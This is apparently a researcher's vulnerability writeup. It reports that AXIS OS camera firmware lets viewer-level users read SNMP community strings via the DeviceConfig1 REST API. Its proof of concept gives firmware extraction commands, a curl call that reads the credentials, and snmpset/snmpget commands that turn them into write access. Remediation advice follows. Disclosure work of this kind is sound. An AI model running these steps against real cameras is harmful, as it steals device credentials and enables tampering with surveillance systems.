Zion Boggan

In-depth vulnerability research, detection engineering & applied cryptography.

● Open to security-research & detection roles
GitHub · LinkedIn · Email
← Research notebook
Info disclosure

SNMP Community String Disclosure to Viewer-Privileged Users via DeviceConfig1 API

VRT Category: Sensitive Data Exposure > Disclosure of Secrets URL/Location: https://<camera>/config/rest/snmp/v1/snmpV1V2Common Firmware: AXIS OS P3245-LV version 11.11.192 (LTS 2024 track) File: /usr/share/dev-conf/conf-units/api-def_snmp_v1.yaml


Description

The SNMP configuration unit in the AXIS OS DeviceConfig1 framework exposes SNMP v1/v2c community strings (readCommunity, writeCommunity, trap community) to users with viewer-level privileges. Community strings are the sole authentication mechanism for SNMP v1/v2c – they function as plaintext passwords. A viewer-level user (the lowest authenticated privilege level on the camera) can read these credentials through a single API call, then use them with any SNMP client to gain full read/write access to the device, bypassing the VAPIX role-based access model entirely.

The vulnerability is in the API access control definition. The set operation correctly restricts community string modification to admin only, but the get operation exposes the values to [viewer, operator, admin]. This inconsistency demonstrates the write path was secured but the read path was overlooked.


Proof of Concept

Step 0: Firmware Evidence

The vulnerability was identified through static analysis of firmware version 11.11.192. The firmware was extracted using:

binwalk --run-as=root -e P3245-LV_11_11_192.bin
tar xf _P3245-LV_11_11_192.bin.extracted/0
unsquashfs -d rootfs_extracted rootfs/rootfs.img

Step 1: Identify the misconfigured access control

The SNMP API definition file on the camera at /usr/share/dev-conf/conf-units/api-def_snmp_v1.yaml contains the following access control definitions (extracted from firmware):

 snmpV1V2Common:
 short_description: Entity that has common properties for snmp V1 and V2c
 operations:
 set:
 fields:
 optional: ["readCommunity", "writeCommunity", "address", "trap"]
 properties:
 readCommunity:
 short_description: Read Community string
 export_import: false
 notification: false
 data_type: string
 operations:
 get:
 roles: [viewer, operator, admin] # <-- VIEWER CAN READ
 set:
 roles: [admin] # <-- ONLY ADMIN CAN WRITE
 writeCommunity:
 short_description: Write Community string
 export_import: false
 notification: false
 data_type: string
 operations:
 get:
 roles: [viewer, operator, admin] # <-- VIEWER CAN READ
 set:
 roles: [admin] # <-- ONLY ADMIN CAN WRITE

The same pattern repeats for community under the trap configuration (also readable by viewer).

The D-Bus transport policy at /usr/share/dbus-1/system.d/device-config-service.conf confirms viewer-level access to the DeviceConfig1 APIGateway1 interface:

<policy group="viewer">
 <allow send_destination="com.axis.DeviceConfig1"
 send_interface="com.axis.DeviceConfig1.APIGateway1"/>
 <allow receive_sender="com.axis.DeviceConfig1"/>
</policy>

The dev-conf-service binary (Rust, built with axum/zbus) runs with --authorize and maps the caller’s Unix UID to a role, then enforces the YAML-defined access control. The YAML explicitly grants viewer the get role for credential-equivalent data.

Step 2: Read community strings as viewer

# Authenticate as viewer (lowest privilege) and read SNMP community strings
curl -s --digest -u VIEWER_USER:VIEWER_PASS \
 "https://CAMERA_IP/config/rest/snmp/v1/snmpV1V2Common" | python3 -m json.tool

Expected response:

{
 "status": "success",
 "data": {
 "readCommunity": "public",
 "writeCommunity": "private",
 "address": "...",
 "trap": { "community": "..." }
 }
}

Step 3: Use disclosed credentials for SNMP write access

# Use the disclosed writeCommunity string to modify camera settings via SNMP
# This demonstrates privilege escalation from viewer → effective admin
snmpset -v 2c -c "<writeCommunity_from_step2>" CAMERA_IP \
 SNMPv2-MIB::sysContact.0 s "[email protected]"

# Verify the write succeeded
snmpget -v 2c -c "<readCommunity_from_step2>" CAMERA_IP \
 SNMPv2-MIB::sysContact.0

Step 4: Confirm viewer cannot SET community strings (showing the inconsistency)

# This should fail with access denied -- proving the set path IS secured
curl -s --digest -u VIEWER_USER:VIEWER_PASS \
 -X PATCH -H "Content-Type: application/json" \
 -d '{"data":{"readCommunity":"hacked"}}' \
 "https://CAMERA_IP/config/rest/snmp/v1/snmpV1V2Common"

# Expected: {"status":"error","error":{"code":403,"message":"Access denied"}}

The asymmetry between GET (viewer allowed) and SET (admin only) on the same credential field is the core of the finding.


Impact

  1. Credential disclosure: SNMP community strings are plaintext passwords. Viewer reads them in a single API call.
  2. Privilege escalation: Viewer uses writeCommunity with any SNMP v1/v2c client → gains full SNMP write access to the device, which is admin-equivalent for device configuration.
  3. Network-level impact: SNMP credentials may be reused across multiple cameras in the same deployment (common practice), enabling fleet-wide compromise from a single viewer account.
  4. Surveillance implications: An attacker with SNMP write access can modify video recording settings, disable alerts, and cover their tracks on the camera.

CVSS

Score: 6.5 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N


Remediation

  1. In api-def_snmp_v1.yaml, change the get operation roles for readCommunity, writeCommunity, and trap community from [viewer, operator, admin] to [admin].
  2. Audit all other DeviceConfig1 configuration units for credential-equivalent properties exposed to viewer/operator roles.
  3. Consider treating all SNMP community strings as write-only secrets (readable only at set time, masked thereafter).

Source · github.com/zionsworking/security-research-notebook · writeups/axis-os/snmp-community-string-viewer-disclosure.md